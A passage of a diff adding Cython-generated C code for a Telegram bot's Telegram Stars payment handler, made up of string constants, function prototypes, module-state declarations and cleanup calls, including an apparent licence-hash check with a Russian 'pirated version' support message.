\320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_21U68SOLOBOT[] = "21U68SOLOBOT"; +static const char __pyx_k_LabeledPrice[] = "LabeledPrice"; +static const char __pyx_k_STARS_ROUTER[] = "STARS_ROUTER"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_stars_amount[] = "stars_amount|"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_answer_invoice[] = "answer_invoice"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_provider_token[] = "provider_token"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_invoice_payload[] = "invoice_payload"; +static const char __pyx_k_PreCheckoutQuery[] = "PreCheckoutQuery"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_pre_checkout_query[] = "pre_checkout_query"; +static const char __pyx_k_successful_payment[] = "successful_payment"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_choosing_amount_stars[] = "choosing_amount_stars"; +static const char __pyx_k_https_t_me_PremiumBot[] = "https://t.me/PremiumBot"; +static const char __pyx_k_on_pre_checkout_query[] = "on_pre_checkout_query"; +static const char __pyx_k_on_successful_payment[] = "on_successful_payment"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_enter_custom_amount_stars[] = "enter_custom_amount_stars"; +static const char __pyx_k_process_callback_pay_stars[] = "process_callback_pay_stars"; +static const char __pyx_k_handlers_payments_stars_pay[] = "handlers.payments.stars_pay"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_entering_custom_amount_stars[] = "entering_custom_amount_stars"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_handlers_payments_stars_pay_py[] = "handlers/payments/stars_pay.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_stars"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_pre_checkout_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + PyObject *__pyx_kp_u_21U68SOLOBOT; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_kp_u_CRYPTO_HASH; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_LabeledPrice; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_PreCheckoutQuery; + PyObject *__pyx_n_s_RUB_TO_XTR; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_STARS_ROUTER; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_n_u_XTR; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_n_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_n_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_n_s__38; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_answer_invoice; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_stars; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_currency; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_delete; + PyObject *__pyx_n_s_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_stars; + PyObject *__pyx_n_s_entering_custom_amount_stars; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_stars_pay; + PyObject *__pyx_kp_s_handlers_payments_stars_pay_py; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_https_t_me_PremiumBot; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_invoice_payload; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_label; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_ok; + PyObject *__pyx_n_s_on_pre_checkout_query; + PyObject *__pyx_n_s_on_successful_payment; + PyObject *__pyx_n_s_pay; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_stars; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_s_pre_checkout_query; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_prices; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_stars; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_provider_token; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_u_stars; + PyObject *__pyx_n_u_stars_2; + PyObject *__pyx_n_u_stars_3; + PyObject *__pyx_kp_u_stars_amount; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_successful_payment; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_title; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__9; + PyObject *__pyx_tuple__22; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__34; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__19; + PyObject *__pyx_codeobj__23; + PyObject *__pyx_codeobj__27; + PyObject *__pyx_codeobj__28; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_LabeledPrice); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_PreCheckoutQuery); + Py_CLEAR(clear_module_state->__pyx_n_s_RUB_TO_XTR); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_STARS_ROUTER); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_n_u_XTR); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_n_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_n_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_n_s__38); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_answer_invoice); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_delete); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_stars_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_t_me_PremiumBot); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_invoice_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_label); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_ok); + Py_CLEAR(clear_module_state->__pyx_n_s_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_n_s_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_prices); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_provider_token); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_u_stars); + Py_CLEAR(clear_module_state->__pyx_n_u_stars_2); + Py_CLEAR(clear_module_state->__pyx_n_u_stars_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_stars_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_successful_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_title); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__9); + Py_CLEAR(clear_module_state->__pyx_tuple__22); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__19); + 